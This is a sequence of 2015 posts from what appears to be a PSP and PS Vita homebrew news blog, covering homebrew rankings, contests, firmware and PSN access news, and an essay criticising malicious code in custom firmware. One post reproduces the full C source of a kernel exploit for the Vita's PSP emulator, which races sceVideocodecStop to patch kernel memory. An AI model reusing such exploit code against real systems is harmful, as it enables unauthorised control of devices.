If you have downloaded a firmware for the PSP in the last few years, it might have been via Zload.net.

Zload.net is a website that hosts various files, reaching from official firmwares to custom firmwares, VHBLs, exploit files, homebrews, plugins and even more.

Before people shout at me about writing a blog post about my own website, you should know that, prior to writing this article, I have asked Wololo for permission, and he gave his okay.

As I have implied in the sentence above, Zload.net is my very own website, and it is pretty much an archive for various files (mostly firmwares).

Pretty much all important (e)PSP hacking files in the last few years have been hosted on Zload.net, and it established itself as a valuable source for a lot of uncommon files for the PSP & PS Vita.

Ranging from offering a lot of old and rare files, to offering all official Sony firmware for the PSP, PSP Go and PS Vita (the latter even as easy on-the-fly updates), it is a great source for acquiring files that were thought to be ‘lost in the vastness of space & time the internet’.

The website had been unavailable for good 5 weeks, due to domain problems which made http://www.zload.net/ unresponsive. After solving the problems via contacting the (barely helpful) support, and playing the waiting game, the website has returned and is now, once again, fully functional.

Additionally a second domain, http://www.zload.de/, has been registered, and can be used in case the .net-domain is unavailable.

In the end I would like to say that I do not run any kind of Advertisement on my website, and I am maintaining it by myself (only myself) since mid 2011.

So if you wish to support me, feel free to give me a buck or two. The server & domains aren’t paying themselves, so a bit of help would be greatly appreciated.

A few days ago, Qwikrazor87 released the source code for his PSP Kernel exploit running on Vita Firmware 3.36.

Although the release will probably be of no interest for most end users, for those of you with a bit of PSP programming knowledge, or interested in hacking, this is always cool bits of information.

The exploit uses a vulnerability in function sceVideocodecStop. Qwikrazor had hinted at this vulnerability back in January:

props to anyone that can exploit sceVideocodecStop on 3.30+ (which will then allow the other “patched” exploits to work)

— qwikrazor87 (@qwikrazor87) January 29, 2015

The vulnerability involves filling a video buffer with specific content, and seems to rely on some race condition where the content of the buffer gets modified in a separate thread while sceVideoCodecStop is being called.

Too advanced for me, especially with no direct access to the actual implementation of sceVideoCodecStop, but it’s always interesting to look at.

#include 

u32 sceMeCodecWrapper = 0x88136800, sw_address = 0;
int is_exploited = 0, running = 1;
u32 a0[24];

int storethread()
{
	while (running == 1) {
		a0[11] = sw_address;
		sceKernelDelayThread(1);
	}

	sceKernelExitThread(0);
}

void KernelContent()
{
	is_exploited = 1;

	__asm("move $k1, $0;");

	//"restore" me_wrapper mutex UID
	SceUID (* _sceKernelCreateMutex)(const char *name, u32 attr, int init_count, void *options) = \
		(void *)FindExport("sceThreadManager", "ThreadManForUser", 0xB7D098C6);

	SceUID mutex = _sceKernelCreateMutex("SceKermitMe", 256, 0, NULL);

	_sw(mutex, sceMeCodecWrapper + 0x2F80);

	//sceKernelLibcTime - pass address of kernel function in first arg, restored later in ARK code. |:
	_sw(0x00800008, 0x8800F9C4);	//jr	$a0
	_sw(0, 0x8800F9C8);		//nop

	void (* _sceKernelDcacheWritebackInvalidateAll)(void) = (void *)0x88000744;
	void (* _sceKernelIcacheInvalidateAll)(void) = (void *)0x88000E98;

	_sceKernelDcacheWritebackInvalidateAll();
	_sceKernelIcacheInvalidateAll();
}

void do_exploit()
{
	is_exploited = 0;
	running = 1;

	sw_address = (sceMeCodecWrapper + 0x2F80) - 36;

	SceUID thid = sceKernelCreateThread("thid", storethread, 8, 512, THREAD_ATTR_USER, NULL);
	sceKernelStartThread(thid, 0, NULL);

	sceUtilityLoadModule(0x300);
	sceUtilityLoadModule(0x303);

	int (* sceVideocodecStop)(u32 *a0, int a1) = (void *)FindImport("sceVideocodec", 0xA2F0564E, 0);

	memset(a0, 0, sizeof(a0));

	a0[0] = 0x05100601;
	a0[15] = 1;

	int i;

	while (a0[2] != 0x800201C3) {
		a0[15] = 1;
		a0[3] = 0x09000000;
		a0[4] = 0x09000000;
		a0[2] = 0;
		a0[11] = 0x09000000;

		sceVideocodecStop(a0, 0);
	}

	fillvram(-1);

	sw_address = 0x8800F9C4 - 36;

	int (* _sceKernelLibcTime)(u32, u32) = (void *)sceKernelLibcTime;

	while (is_exploited != 1) {
		a0[15] = 1;
		a0[11] = 0x09000000;
		a0[3] = 0x09000000;
		a0[4] = 0x09000000;

		sceVideocodecStop(a0, 0);

		sceKernelDcacheWritebackAll();

		_sceKernelLibcTime(0x08800000, ((u32)&KernelContent | 0x80000000));
	}

	fillvram(0xFF00);

	running = 0;

	u8 buf[0x4000];

	SceUID fd = sceIoOpen("ms0:/PSP/SAVEDATA/NPUG80320KEXPLOIT/ARK.BIN", PSP_O_RDONLY, 0777);
	sceIoRead(fd, buf, sizeof(buf));
	sceIoClose(fd);

	memcpy((void *)0x10000, buf, sizeof(buf));

	sceKernelDcacheWritebackAll();

	void (* Start)(const char *) = (void *)0x10000;
	Start("ms0:/PSP/SAVEDATA/NPUG80320KEXPLOIT/");
}

void _start() __attribute__ ((section (".text.start")));
void _start()
{
	fillvram(0x80808080);
	do_exploit();
	sceKernelExitGame();
}

source: Qwikrazor87

Our entries for the Favorite tutorial contest are in! You have 5 days to vote on /talk for your favorite tutorials. The winner of each category will get a $10 PSN Code.

Every month, we give away a total of $60 in PSN codes in our monthly tutorial contest, for the best guides in each category: PSP, PS Vita, PS4, PS3, and 3DS.

This month, PS3, PS4, and PSP had only one entry each, so the writers of these tutorials automatically win $10 each. Congratulations to them. I will contact these two winners shortly to send them their codes.

We also recently introduced the “mods award”: we’re giving an extra $10 to the best tutorial this month, as voted by myself and the mods. This extra $10 used to be awarded to the tutorial with the most votes overall, but we’re trying something different moving forward. All tutos who entered the contest qualify for this additional vote (which is why I’m waiting a bit before sending the prizes to the PS3/PS4/PSP winners, as one of them might qualify for an extra $10).

The PS Vita and 3DS each got a fair amount of entries, and you can vote for your favorite one below:

• Vote for your favorite PS Vita February tutorial (winner gets $10)
• Vote for your favorite 3DS February Tutorial (winner gets $10)

Voting will end in 5 days, after that we’ll start the March contest

Good luck to everyone, keep the cool guides coming!

Every month we publish a list of the best Vita and PSP homebrews as voted by our community over the previous month. You can add your own homebrews to our /downloads Database, and vote for your favorite ones. This doesn’t require any login.

Check out this month’s most popular homebrews and releases, as rated by our community below.

Native vita exploit tools keep surfacing in our top10 since their inception a few months ago, and I’m sure we’ll see more Native stuff in the weeks to come.

10. Minecraft PSP – [LC Mod]

Joel16’s mods based on Drakon’s game (Lamecraft, PSP’s popular Minecraft homebrew clone) are to enhance lamecraft’s graphics and gameplay, and give it a more ‘minecrafty’ feeling.

Minecraft PSP – [LC Mod] can be downloaded here

9. PRXShot

This is probably the best screenshot plugin out there for your PSP.

PRXShot is a screenshot plugin that doesn’t need to pause the game to take the capture (useful to avoid lag disconnects on online/adhoc gaming) and classifies the images per game using their name and icons

PRXShot can be downloaded here

8. Vitasploit

Vitasploit by Hykem is his version of an exploitation framework based on the Vita webkit exploit. It regroups webkooz, akai, memtools_vita and JSoS-Module-Dump in a single repository.

Vitasploit can be downloaded here

7. Open CMA

A patch by Virtuous Flame to prevent the PS Vita Content Manager Assistant from connecting to the internet.

The PS Vita comes with a system to copy save files that requires you to be connected permanently to the internet. This system is here to force you to update the Vita when a new version is available. In addition, it might be inconvenient for you to be constantly connected when you want to copy your files from and to the Vita. This patch is here to help you with this situation

Open CMA can be downloaded here

6. PowerMenu [PSVITA – PSP]

Issues with your on/off button? This app for your PSP or Vita allows you to put the PSP in sleep mode in a software way. Because why not?

PowerMenu [PSVITA – PSP] can be downloaded here

5. ARK

ARK is a PSP Emulator Custom Firmware for your Vita. It supports most PSP Homebrews, plugins, and backups, as well as PS1 games

ARK can be downloaded here

4. TNV Bubble ISO Loader Creator

This tool lets you easily create your homebrew/ISO bubbles for the vita

TNV Bubble ISO Loader Creator can be downloaded here

3. OneMenu

It can install and delete emulators, homebrew & PS1 games into your PSP/GAME folder and you can place an ISO or CSO in any save folder and send it over to your PS Vita or PSTV and it will show up in your game list, no need to install.

OneMenu can be downloaded here

2. Lamecraft

If you know the PC game Minecraft, you will feel at ease with this genesis entry which reuses the same concept: allowing grownups to play with blocks like little kids. LameCraft is for now just a sandbox that allows you to build a 3D world to your liking. But Drakon has been restlessly updating this entry regularly for the past months, and each update is simply impressive.

Still need to be convinced? 10 days after the first release, there痴 already a massive community around this homebrew, and the release thread in our forums is already 23 pages long as I type this. This will quickly become a must-have in your homebrew library.

Lamecraft can be downloaded here

1. PSP Filer

The PSP/Vita’s most popular File Manager.

PSP Filer can be downloaded here

New Release of the Month: PeXploit

The PS3 scene has been moving fast lately, with the recent work that allowed PSP isos to be run on any OFW PS3. PeXploit is a part of the toolchain recommended to achieve that, and although maybe not the most impressive part of the pipeline, it’s always nice to have a GUI.

PeXploit can be downloaded here

Also check the following!

The following homebrews did not make it to the top 10 this month, but were pretty close. Check them out!

• Wagic, The Homebrew
• yMenu
• SNES9xTYL

Also check our huge list of emulators for your PSP/Vita, and our top 50 Vita / PSP homebrews in 2014!

Check out our huge emulators database for your Vita and your PSP!

What would you recommend to fellow PSP/Vita owners? Feel free to add your homebrews in our database and vote for your favorite ones!

It is no secret that i love handhelds. They are portable, cool and make me feel like a child again. I also love emulating different systems on my handhelds, be it a console, another handheld or even an arcade machine. I want to share my favourite emulators on my favourite handhelds with you. Hope you share the fun.

1) BlargSNES on 3DS

BlargSNES is a SNES emulator for 3DS. It is without a doubt the best homebrew on the 3DS scene. Right now it doesn’t support games with special chips and has graphical glitches on many games. But the games it runs, it runs them great. You can have an idea about compatibility here. So far, SNES emulation on a handheld is really hard. I am not counting tablets, smartphones etc. Even though SNES emulation on PSP has a high compatibility, it still suffers from slowdowns which is very distracting for some games. DSTWO has a SNES emulator for Nintendo DS, but it is worse than the PSP emulators. BlargSNES gives us hope that near perfect SNES emulation might be possible with this generation handhelds. It is now at version 1.3 and with each revision, it gets better and better. Without further adue, here is the video.

2) MVSPSP on PSP

MVSPSP is a MVS/AES emulator for PSP. I used to love Neo-Geo back at the arcades. King of Fighters, Metal Slug, the incredibly underrated Street Hoop and numerous gems that i can go on and on. I wasn’t aware of a console named AES back then. Well, even if i did, i wouldn’t buy it with that price tag anyways. MVSPSP gives you back this Neo-Geo experience everywhere you go. Emulation quality is great. Even though i should accept there are some slowdowns here and there that isn’t on original hardware or psn neo-geo station releases, it is still very close to the arcade experience you get back then. I love to change the hardware from MVS to AES to stop myself from mindlessly increasing credits. It also helps me to imagine how it would be to have an AES back then. You can also change CPU speed and audio emulation quality to save battery/give your game a boost. You can get it from the downloads section here at Wololo. Here is a glimpse of the emulator running on a PSP Go.

3) Goomba Color on Gameboy Advance

Goomba Color is a Gameboy/Gameboy Color emulator for Gameboy Advance. I can already hear you saying GBA already supports GB/GBC games. Yup, it does. But GB/GBC compatibility has been abandoned for GBA Micro. Also Goomba Color has many options which aren’t available with hardware emulation. Just to name a few, it can enable Super Gameboy borders for supporting games, it has savestates, there are a lot of pallette options you can choose from (you can even change them on-the-fly which is not possible with hardware emulator). Also it is super convenient to have your own GB/GBC compilations. Game compatibility is really high and most games work fine at full speed. It is only one or two times i encountered a fps drop, but it is nothing major. From a technical standpoint, it is astonishing to emulate a system with a 8 mhz CPU on a system with a 16 mhz CPU with such accuracy. Even though i have other GBA models which natively supports GB/GBC games, i always find myself using Goomba Color on my favourite GBA model, GBA Micro. The author still works on this emulator and it got an update on December 12, 2014. If you want to see it in action on my black GBA Micro, here you go.

Like emulators? Check our huge list of emulators for your PSP/Vita!

Check out our huge emulators database for your Vita and your PSP!

We all were surprised and a bit shocked after Sony’s release of the Playstation Portable firmware 6.61 a few months ago.

But is this new firmware responsible for CFWs being unable to connect to the PSN services?! Well…

Yes and no.

It is true that Custom Firmwares for the older base firmwares 6.20, 6.3x and 6.60 are currently not able to connect to the PSN services (Error code: ‘80435061’), but Sony did not completely exclude CFW users from using the PSN services.

The convenience of using the PSN services, regardless of installed base firmware, seems to be gone (for now), but the released Custom Firmwares for the base firmware 6.61 are still kicking it!

PSN access is still possible via 6.61 OFW (Sony’s official firmware), 6.61 ME-2.3, 6.61 LME-2.3 and 6.61 PRO-C2 (CFW’s most recent build by qwikrazor87).

Since a lot of Themes and Plugins are not and (most likely) won’t be updated for firmware 6.61, staying on a lower base firmware seems to be a much more convenient choice.

Older CFWs showed us how to do it, and I think it should be possible to update the 6.20, 6.3x and 6.60 builds of the ME, LME and PRO CFW to properly mask themselves as firmware 6.61, which, in the end, will grant them, once again, full access to the PSN services.

While I am currently having some fun with a PSPgo and a DualShock3 controller (yes, you can pair those 2 devices), I am going to test the various builds of LME CFW and PRO CFW (for the various OFWs), and will report which ones are broken and require fixing.

Being able to use the convenience of the 6.20 permanent patch and using the PSN services is something that should not be a choice on the PSP, at least not in 2015.

Stay tuned for an update on using the PSN services on lower (base) Custom Firmwares!

Japanese developer 173210 just released CapusbPSP. As the name reveals (kind of), this is a tool to capture usb traffic from the PSP.

173210 started working several years ago on the PSP’s usb drivers analysis, which could be leveraged on the Vita as well: the PSP’s usb communication to a PS2/PS3 also works from within the PSP emulator on the PS Vita.

Capusbpsp’s source code has been released to contribute to this quest. 173210 hasn’t given on on his project to understand and reverse engineer USBPSPCommunicationDriver (a project started back in 2013), and is asking for help completing the task.

If you can help, feel free to lend a hand to 173210 in our forums.

Once compiled, capusbpsp can be run as a plugin on any CFW-enabled PSP

Download

You can download CapusbPSP here (source code)

Source: 173210 on /talk

A few days ago I’ve written an article about PSP CFW users being unable to connect to the Playstation Store, if their PSP is not running the firmware 6.61.

It seems that this applies to the PS Vita’s PSPemulator as well, kind of…

If you are using a PS Vita that is running a firmware that is older than the most recent firmware 3.36, then you might have noticed that you are unable to connect to the PSN services.

Not only do the native PS Vita PSN connections refuse to work (due to not running PS Vita firmware 3.36), but also do the previously working PSPemulator PSN connections (via TN-V or ARK-2 eCFW) refuse to work as of now.

This has pretty much to do with the newly released PSP firmware 6.61, which seems to be mandatory for accessing the PSN services on the PSP (even with CFW). Since the PS Vita runs the PSPemulator firmware 6.60 up to PS Vita firmware 3.35, this applies to the PS Vita’s PSPemulator as well (once again, including eCFWs as ARK-2 or TN-V).

In the end this pretty much means that your PSP (Go) has to run a 6.61 (custom) firmware to access and use the PSN services, and that your PS Vita (TV) has to run a 3.36 (emulator custom) firmware to access and use the PSN services (from within but also outside of the PSPemulator).

The famous TN-V10 eCFW for the PS Vita firmwares ≤3.20 are based on the PSPemulator firmware 6.60, which every PS Vita firmware up to 3.35 runs. As of PS Vita firmware 3.36, the PS Vita is running the PSPemulator firmware 6.61, a firmware which has no (official & publicly available) TN-V build.

This pretty much means that to properly access and use the PSN services on a PS Vita, you have to update your device to version 3.36 (yes, not even 3.35 would be enough, since that one still runs the PSPemulator firmware version 6.60), which in the end has native PSN access anyways, due to being the most recent firmware.

It is currently not known if TN-V and ARK-2 can be fixed to re-enable PSN access on lower PS Vita firmwares, or if they have to be ported to firmware 3.36 to offer proper PSN access from within the PS Vita’s PSPemulator.

Every month we organize a tutorial contest for our 5 favorite devices: the PS Vita, the PS4, the 3DS, the PSP, and the PS3.

Each month, the authors of the best tutorial for each category get a $10 PSN code each, for a total of $50. Additionally, the mods and myself choose our favorite tutorial, and award a bonus $10.

This months we got a significant number of entries, with fierce competition on the Vita and 3DS sides. On the Vita, ryuzen’s guide on how to use the Vita as a PC controller with gyroscope support wins this month. On the 3DS, memeoverlord got the most votes with his guide on how to play region locked games on Sky3DS.

The PS3 saw a quality entry with jeremylars (who’s getting used to receiving a $10 code pretty much every month recently ) and his guide on how to obtain the official download links for PSN content. Simple but useful. For the PSP, blake1211 published an extremely detailed all-in-one guide for playing PS1 games on the PSP. Highly recommended for all emulator fans out there. Yatin509 had our only entry on the PS4 this month, with a guide on how to mute the headset mic on your PS4.

Finally, watstwat5 wins the mods’ award this month with his introduction to ARM assembly, confirming once again that our mods have a bias for technically oriented tutos.

Congratulations to all 6 winners. PSN Codes have been sent and should reach you very soon.

It’s also already time to submit your tutorials for March’s contest! Here again, there’s a total of $60 in PSN codes to win. Your tutorials don’t have to be extremely technical, as long as they are original and directly related to one of the 5 consoles mentioned above. You can see detailed rules and how to participate here: Monthly tutorial contest.

Have fun, and good luck to everyone!

Because of our central position in the PSP and Vita underground universe, we get relentless questions about PSP emulators and PS Vita emulators here.

We already had a page on the best emulators to run ON your PSP or your PS Vita, but it seems many people get confused and reach that page actually looking for the opposite product: a PSP emulator or (funnily enough) a Vita emulator. (to run on their PC, Tablet, smartphone, etc…)

So I decided to create a PSP emulator page where we list all the available PSP emulators out there. To be honest, there’s only one that’s really getting good updates these days, and it’s PPSSPP, but with the goal of being complete, without further ado, here’s the PSP emulator page!

Disgaea 2 running on ppsspp

Now, and that’s maybe a bit more disturbing, many people land on this site looking for a Vita emulator. So, I created a page with the best PS Vita emulators out there. That PS vita emulator list can be found at /dev/null.

Seriously though, because it seems lots of folks are misinformed about their existence, I created a page for PS Vita emulators, that will ultimately, we hope, contain a full list of PS Vita emulators.

/talk user leecherman has just released a simple to use GUI tool for all your buble creation and fake signing needs.

It has been some time that a way to make custom bubbles on Vita has been made public. It essentially involves signing an iso/homebrew with the license of another PSN bought game and tricking Vita into booting our desired iso/homebrew by folder renaming.

Even though the process isn’t complicated, using signing tools on command line or batch files might be frustrating for some users. Sign~Fake NP Expert is a perfect all-in-one GUI for this. You can also use it for booting your iso/homebrew on your official firmware PSP, though I would just get a CFW if I were you.

What I like most is being able to use custom splash screen instead of the default health message.

Download

You can download Sign~Fake NP Expert here

Source & more info on /Talk Forums

If you like leecherman’s work, you can donate to him from here.

Also have a look at leecherman’s recently released Fake NP MOD and Iso Pbp Converter

For this weekend’s PSN flash sale, all prices are under $1. It is on now and it will end in Monday, March 23 at 9am PT. You can check the list below, i categorized it to make it easier for you and tried to correct some mistakes on the US PSN Blog Page, like listing Theme Park (it should be Sim Theme Park), Magic Carpet, Soviet Strike, Championship Bass, Extreme Pinball, Populous The Beginning and Hi-Octane as PS3 only where they are Ps one classic and you can buy them for PS3/PSP/PS Vita. Wild Arms 2 isn’t even in the list on the PS Blog, where it is in fact included in this flash sale. If the list is too long, you can just skip it and go to the store: Flash Sale PSN Store Page

If you don’t have your exploit game for TN-X, now can be a good time to grab Tekken 2 for $0.96. It is such a good behaviour to discount Tekken 2 instead of removing it from the PSN store, i appreciate it. I would also recommend getting Gravity Rush for PS Vita for $0.81 if you haven’t bought it yet. It is a great game and a must-buy for that price. Here is the list without further ado:

PS4:

Dead Nation: Apocalypse Edition – $0.90

Home: A Unique Horror Adventure – $0.95

Surgeon Simulator: A&E Anniversary Edition – $0.91

Tennis in the Face – $0.95

PS Vita

Gravity Rush – $0.81

Tales from Space: Mutant Blobs Attack – $0.96

PS3:

Babel Rising – $0.90

Back to the Future : The Game – Full Series – $0.80

Bejeweled 3 – $0.95

Cloudberry Kingdom – $0.90

Dead Nation – $0.88

Eat Lead: The Return of Matt Hazzard – $0.90

echochrome – $0.90

Feeding Frenzy 2 – $0.95

Ferrari: The Race Experience – $0.90

Flashback – $0.90

Galaga Legions DX – $0.90

Game of Thrones – $0.80

Heavy Fire Afghanistan – $0.90

Heavy Fire Shattered Spear – $0.90

ibb & obb – $0.90

Jurassic Park : The Game – Full Season – $0.80

Katamari Damacy – $0.90 (PS2 Classic)

Mad Riders – $0.90

Matt Hazard: Blood Bath and Beyond – $0.90

Mortal Kombat Arcade Kollection – $0.90

Narco Terror – $0.90

NOBY NOBY BOY – $0.95

PAC-MAN Championship Edition DX+ Full Version – $0.90

PAYDAY The Heist – $0.90

Poker Night 2 – $0.90

Puzzle Agent – $0.90

RIPD – $0.90

Rock of Ages – $0.90

Sacred Citadel – $0.90

Sam & Max: Beyond Time and Space – Full Season – $0.80

Sam & Max: The Devil’s Playhouse – $0.80

Shoot Many Robots – $0.90

Tales of Monkey Island – $0.80

Texas Cheat’em – $0.90

The Expendables 2 – $0.90

Tokyo Jungle – $0.90

Twisted Metal: Black – $0.90 (PS2 Classic)

Who Wants to Be a Millionaire Special Editions US – $0.90

Zeno Clash 2 – $0.90

Zuma – $0.95

Playstation Portable (Can be played on Vita too unless stated otherwise)

Beta Bloc – $0.95

Dead Head Fred – $0.90

Despicable Me: The Game – $0.90

Kurulin Fusion – $0.95 (Not available for Vita)

Myst – $0.84

Star Wars : Battlefront II – $0.90 (Not available for Vita)

Streetkix – $0.84

Super Pocket Tennis – $0.95

TAC Heroes – $0.84

PS one Classic (Can be played on PS3, Vita and PSP unless stated otherwise)

Breath of Fire IV – $0.96

Championship Bass – $0.96

Dino Crisis – $0.96

Dino Crisis 2 – $0.96

Extreme Pinball – $0.96

Fighting Force – $0.96

Hi-Octane – $0.96

Klonoa : Door to Phantomile – $0.96

Magic Carpet – $0.96

Mega Man X4 – $0.96

Mega Man X5 – $0.96

Nuclear Strike – $0.96

Populous The Beginning – $0.96

Sim Theme Park – $0.96 (Not available for Vita)

Soviet Strike – $0.96

Syphon Filter – $0.96

Syphon Filter 3 – $0.96

Tekken 2 – $0.96

Wild Arms – $0.96

Wild Arms 2 – $0.96

Source: US PSN Blog

Note from Wololo: if you live outside of the US but want to benefit this sale, check my technique to buy US PSN Codes at face value from Amazon. I used and abused this technique myself

With the recent controversy surrounding Total_Noob’s latest release, we’ve seen our share of comments on both sides of the argument.

For those of you who just joined us, TN’s latest Custom Firmware for the PS Vita (or, for the PS1 emulation within the Vita) contained some code designed to crash if run by one specific person (The Z). That these two people have a grudge to solve is less the concern, than a piece of software used by thousands of people, and containing malicious code.

Although the code is designed to target one specific person, it could have a bug (raise your hand if you never had a bug in your code… yeah, that’s what I thought) and impact many more users. In general, as a software developer, you don’t want to put code in there that doesn’t add value to your product, which is why an intentionally malicious code like this ranges on the same level as DRM in my opinion: evil.

But let’s move past this, as this is not the topic today, or rather it’s just one aspect of it: the whole controversy led some people to comment and say things such as “the scene was better before, when malicious code wasn’t put in our homebrew”.

The truth is, as far as I can remember, such things have happened in homebrews, custom firmwares, etc… for as long as there were hackers.

A long time ago, in a galaxy not so far away…

The first example I can think of was a PSP Custom firmware released by Dark Alex, at the time known as M33, back in 2007. Dark Alex was being tired of a certain website replacing the credits in his custome firmware (they would add their website’s name as part of the contributors to the project somewhere in the code). To counteract this, he added some code that would brick the PSP if the Custom Firmware binary had been modified.

Of course, the results were terrible: in those days, there was no way to fix a “bricked” PSP, and that’s potentially thousands of users who lost an easy $200 when trying to install the version of the CFW they had downloaded from the website.

Who’s to blame in that kind of scenario? Clearly, the impacted users didn’t care about the feud between the hacker and the website, they had just lost their device. Such an action clearly benefited nobody: Dark Alex didn’t take his revenge on the owners of the site, but on their unsuspecting users.

It’s worth noting that ultimately, Dark Alex released an unbricker for this.

And it keeps going!

More recently, and on a different device (the 3DS) the Gateway team had some malicious code running in their firmware. The code would detect clones of their piracy device, and trigger a brick in that scenario. To add insult to injury, they later offered to fix the device, for a fee if they could prove you had been using one of their competitors’ products. By doing so, they were half admitting that their bricking code could have bugs, and impact their very own clients.

We ran a full article on this specific event, that you can find here: Nintendo 3DS hack: Gateway team intentionally bricks users’ 3DS, blames competitors for their “shady” practice

It will happen again

These are two prime examples I have witnessed in my 8 years on the scene, andd I’m sure there are many others. The recent Total_Noob controversy just bumped the total by one, but it was definitely not the first time this happened, the scene wasn’t all rainbows and flowers before that. It doesn’t make this any more right, though.

Are you aware of other cases where malicious code was intentionally introduced in console hacks? Share them in the comments section!

Wow, people… for something that started as a joke, I surely wasn’t expecting so many answers.

I’ve received close to 100 entries for my stupid contest, asking you guys to stack your consoles (literally), and send me a nice picture on twitter (or in the comments on the blog).

And now I face the tough decision to choose a winner. Honestly, I didn’t think it would be so hard, and I wish I had more than one $20 PSN Code to give away. In order to shift the responsibility away from me a bit, I’ve chosen my 15 favorite entries (pictured below), and randomized the winner out of these 15.

In general, I’ve appreciated pictures that tried to be original, the ones that made a connection with our hacking hobby, the ones that showed a true collector’s heart (like those of you who have dozens of PSVita… what’s wrong with you guys!), the ones that defied the laws of physics, those of you who had really ancient consoles, or customized gear. Again, with about 100 entries I can’t even fit them all here in a blog post, but there are lots of cool pictures and I strongly suggest people to have a look at all of them (link below).

And no, despite the unfortunate timing, this contest is not an April fool’s joke, there’s an actual winner and the actual prize is a $20 PSN Code.

Enjoy a selection of the entries we’ve received, my favorite 15:

My #StackYourConsoles not my doubles or “broken” ones. @frwololo pic.twitter.com/uuh0gLXmb1

— Byron Mikalishen (@xboxrawks) March 30, 2015

@frwololo #StackYourConsoles It’s small… but cute! Right? Q – Q pic.twitter.com/lQ0TetJjpn — ch3wt0ys (@ch3wt0ys) March 31, 2015

@frwololo #StackYourConsoles pic.twitter.com/olNzX2hPOU

— Yoti Dev (@RealYoti) March 30, 2015

#StackYourConsoles for @frwololo pic.twitter.com/e0OZl7NDv5 — OElk Stadtbahner (@ZueriHB) March 30, 2015

@frwololo @qwikrazor87 @gdljjrod @173210 @riddle43 @HackInformer @The_Zett here’s the correction (just added DAX) pic.twitter.com/ZKeaz6lE0t

— Wirus (@HackerGen) March 30, 2015

@frwololo Stack4Zayn! STACK2015! #StackYourConsoles pic.twitter.com/37JbsEV1A7 — Hal Coley (@HalColey) March 30, 2015

@frwololo #StackYourConsoles stack my dev! pic.twitter.com/OI5HXEjzi1

— emuonpsp (@emuonpsp) March 30, 2015

@frwololo #stackyourconsoles pic.twitter.com/vXYX5vNGhb — PHOTON -【Ｑ２】 (@PHOTONQ2) March 29, 2015

Sorry for such a late entry @frwololo #stackyourconsoles couldn't really put them all together, would have fallen pic.twitter.com/YUIVqOJkNz

— Nick (@FitTerminator) March 30, 2015

@frwololo #StackYourConsoles would’ve put another PS3 and some handhelds on but it was already falling pic.twitter.com/1SbSXBYYS0

— Jordon | Team NutSec (@0x000EAEB0) March 28, 2015

@frwololo #StackYourConsoles Missing:- GBPocket, Ps2, NES, New 3DSXL Still in post lol pic.twitter.com/bemPgAvyUO — Dutt (@Duttbeefe) March 28, 2015

@frwololo #StackYourConsoles Sorry Wololo. I don’t have the heart to stack anything on top of this beauty. pic.twitter.com/E3lxiQjcry

— Time Never Rests (@TimeNeverRests) March 28, 2015

#StackYourConsoles @frwololo pic.twitter.com/48rV8t9kR2 — Ljubomir Simin (@ljsimin) March 28, 2015

@frwololo #Stackyourconsoles pic.twitter.com/9fxPoiMeJa

— Dr. Pingas (@The_Awesomario) March 28, 2015

@frwololo #StackYourConsoles there are some more but I didn’t want to risk hurting them. pic.twitter.com/1YgQw8Oatr — Lord Onii-sama (@kamanashi) March 31, 2015

And the winner is… @kamanashi for his dangerous-looking tower of consoles, that kind of looks like a robot. Congrats! I’ll be in touch with you shortly on twitter to send you the PSN Code.

Again, I wish I had more codes to give away, but thanks everyone for participating. You can check all the brilliant entries on twitter, with hashtag #StackYourConsoles

Our entries for the Favorite tutorial contest are in! You have 5 days to vote on /talk for your favorite tutorials. The winner of each category will get a $10 PSN Code.

Every month, we give away a total of $60 in PSN codes in our monthly tutorial contest, for the best guides in each category: PSP, PS Vita, PS4, PS3, and 3DS.

This month, 3DS and PSP had only one entry each, so the writers of these tutorials automatically win $10 each. Congratulations to them. I will contact these two winners shortly to send them their codes.

We also recently introduced the “mods award”: we’re giving an extra $10 to the best tutorial this month, as voted by myself and the mods. This extra $10 used to be awarded to the tutorial with the most votes overall, but we’re trying something different moving forward. All tutos who entered the contest qualify for this additional vote (which is why I’m waiting a bit before sending the prizes to the 3DS/PSP winners, as one of them might qualify for an extra $10).

PS3 and PS4 didn’t get any entries this month, but we have 3 entries for the PS Vita, you can vote below for your favorite one

• Vote for your favorite PS Vita March tutorial (winner gets $10)

Voting will end in 5 days, after that we’ll start the April contest

Good luck to everyone, keep the cool guides coming!

Every month we publish a list of the best Vita and PSP homebrews as voted by our community over the previous month. You can add your own homebrews to our /downloads Database, and vote for your favorite ones. This doesn’t require any login.

Check out this month’s most popular homebrews and releases, as rated by our community below.

New comers this month include TN-X (or the modified version by Qwikrazor), Josh Axey’s hardware vita analysis (even though it’s not a homebrew per se, it’s available in our database and highly rated), and our “new release of the month” this month is actually a 3DS release. Check it out

10. Minecraft PSP – [LC Mod]

Joel16’s mods based on Drakon’s game (Lamecraft, PSP’s popular Minecraft homebrew clone) are to enhance lamecraft’s graphics and gameplay, and give it a more ‘minecrafty’ feeling.

Credits go to Drakon for his amazing project.

Minecraft PSP – [LC Mod] can be downloaded here

9. TN-V

(also known as CEF 6.60 TN)

The popular Custom Emulator Firmware 6.60 TN for PS Vita, with XMB support

TN-V can be downloaded here

8. VitaPong

Pong implementation using the motion control of Vitasploit.
by Barnabe42

VitaPong can be downloaded here

7. TN-X mod

TN-X , Custom Firmware for the PSP emulator on the PS Vita.

mod by Qwikrazor, which removes some of the “DRM” and limitations from TN-X

TN-X mod can be downloaded here

6. 138Menu

– Compatible with VHBL and CEF (ARK / TN-V)
– Multi-language English, Spanish, German, French, Turkish, Polish, Italian

138Menu can be downloaded here

5. OneMenu

It can install and delete emulators, homebrew & PS1 games into your PSP/GAME folder and you can place an ISO or CSO in any save folder and send it over to your PS Vita or PSTV and it will show up in your game list, no need to install.

You can set any game, emulator, or app to auto launch by setting it to X, O, triangle, or square, by pressing select will bring up a config menu to let you set all the options just be careful not to delete your hidden homebrew unless you want to.Can also change some of the nuances of the theme such as bar visibility, and whether or not to show your hidden files.

OneMenu can be downloaded here

4. SCE PS Vita – Hardware – Josh_Axey

3. PSPSeq

Audio Synthesis and Sequencing on the PSP

PSPSeq can be downloaded here

2. Open CMA

A patch by Virtuous Flame to prevent the PS Vita Content Manager Assistant from connecting to the internet.

The PS Vita comes with a system to copy save files that requires you to be connected permanently to the internet. This system is here to force you to update the Vita when a new version is available. In addition, it might be inconvenient for you to be constantly connected when you want to copy your files from and to the Vita. This patch is here to help you with this situation

Open CMA can be downloaded here

1. MasterBoy

Game Boy Color and Sega Master System emulator

MasterBoy can be downloaded here

New Release of the Month

NTR CFW is a piracy-less Custom Firmware for your New 3DS.

NTR CFW can be downloaded here

Also check the following!

The following homebrews did not make it to the top 10 this month, but were pretty close. Check them out!

• SNES9xTYL
